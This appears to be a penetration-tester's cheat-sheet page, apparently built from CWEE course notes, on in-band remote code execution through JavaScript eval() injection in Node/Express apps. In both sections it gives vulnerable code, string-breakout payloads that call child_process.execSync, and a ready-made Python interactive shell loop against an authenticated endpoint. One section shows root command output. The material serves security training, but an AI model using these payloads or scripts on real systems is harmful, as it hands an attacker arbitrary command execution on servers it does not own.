Skip to content

In-band

In-band RCE: string breakout, execSync, output returned in an error message

Attacker-controlled text is inserted into a JavaScript source string. eval() executes that constructed source when validation fails.

Vulnerable source

const text = req.body.text;
const errorSource = `throw({message: 'The input "${text}" contains invalid characters', statusCode: 403})`;
eval(errorSource);

The vulnerability is the interpolation of text into errorSource before eval() parses it. Returning the resulting error through Express only provides the in-band output channel.

Break and repair

The injected text value is:

' + require('child_process').execSync('<COMMAND>').toString(), statusCode: 403})//

After interpolation, the source passed to eval() becomes:

throw({message: 'The input "' + require('child_process').execSync('<COMMAND>').toString(), statusCode: 403})//" contains invalid characters', statusCode: 403})

The first ' closes the message string. + concatenates command output into message. , statusCode: 403}) repairs and closes the thrown object. // comments the original suffix that would otherwise cause a syntax error.

The error middleware returns message, making command output available in the JSON response. Single quotes inside the operating-system command are replaced with double quotes so they cannot terminate the execSync('...') argument.

import requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PROXIES = {}                       # {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} for Burp
GEN_URL = "https://target/api/service/generate"
PREFIX  = len('The input "')       # static text the error message prepends

def run(cmd):
    cmd = cmd.replace("'", '"')     # keep the execSync('...') argument string intact
    text = f"' + require('child_process').execSync('{cmd}').toString(), statusCode: 403}})//"
    r = s.post(GEN_URL, json={"text": text}, verify=False, proxies=PROXIES, timeout=10)
    output = r.json()["message"][PREFIX:]
    return output

# s: authenticated requests.Session (admin bearer token already in s.headers)
while True:
    print("[+] " + run(input("> ").strip()))

Command

id

Expected output

[+] uid=0(root) gid=0(root) groups=0(root)

Find by: javascript injection, node code injection, execSync, child_process, RCE, eval injection, break out of js string, command output in response, in-band exfil · Source: CWEE/JavaScript Code Injection (In Band Response.md)

In-band RCE: response rewriting via res.send() then neuter further sends

When the normal response does not contain the evaluated result, an in-scope Express res object can provide the output channel.

Vulnerable source

const ip = req.body.ip;
const parsedIP = eval(`uip = JSON.parse('${ip}').ip`);

child_process.execFile("ping", ["-c", "1", parsedIP], function (error, stdout) {
  res.send(stdout);
});

The vulnerability is the interpolation of ip into the source passed to eval(). execFile() is not the injection sink; it receives the value produced after the injected JavaScript has already executed.

Break and repair

The injected ip value is:

{"ip":"8.8.8.8"}').ip;let output=require('child_process').execSync('<COMMAND>').toString();res.send(output);res.send=function(){}//

After interpolation, the source passed to eval() becomes:

uip = JSON.parse('{"ip":"8.8.8.8"}').ip;
let output = require('child_process').execSync('<COMMAND>').toString();
res.send(output);
res.send = function() {};
//').ip

').ip closes the original JSON string and preserves a valid initial expression. The semicolon starts independent JavaScript statements. res.send(output) returns the command output, while replacing res.send with an empty function prevents the later callback from sending a second response. // comments the original suffix.

Single quotes inside the operating-system command are replaced with double quotes so they cannot terminate the execSync('...') argument.

import requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PROXIES  = {}
PING_URL = "https://target/api/service/ping"

def run(cmd):
    cmd = cmd.replace("'", '"')     # keep the execSync('...') argument string intact
    ip = (f"{{\"ip\": \"8.8.8.8\"}}').ip;"
          f"let out=require('child_process').execSync('{cmd}').toString();"
          f"res.send(out);res.send=function(){{}}//")
    r = s.post(PING_URL, json={"external": "true", "ip": ip}, verify=False, proxies=PROXIES, timeout=10)
    response_text = r.text
    return response_text

# s: authenticated requests.Session (admin bearer token already in s.headers)
while True:
    print(run(input("> ").strip()), end="")

Command

<COMMAND>

Expected output

<COMMAND_OUTPUT>

Find by: javascript injection, node code injection, res.send override, response rewriting, execSync, child_process, RCE, JSON.parse injection, headers already sent, in-band exfil · Source: CWEE/JavaScript Code Injection (Assessment In Band.md)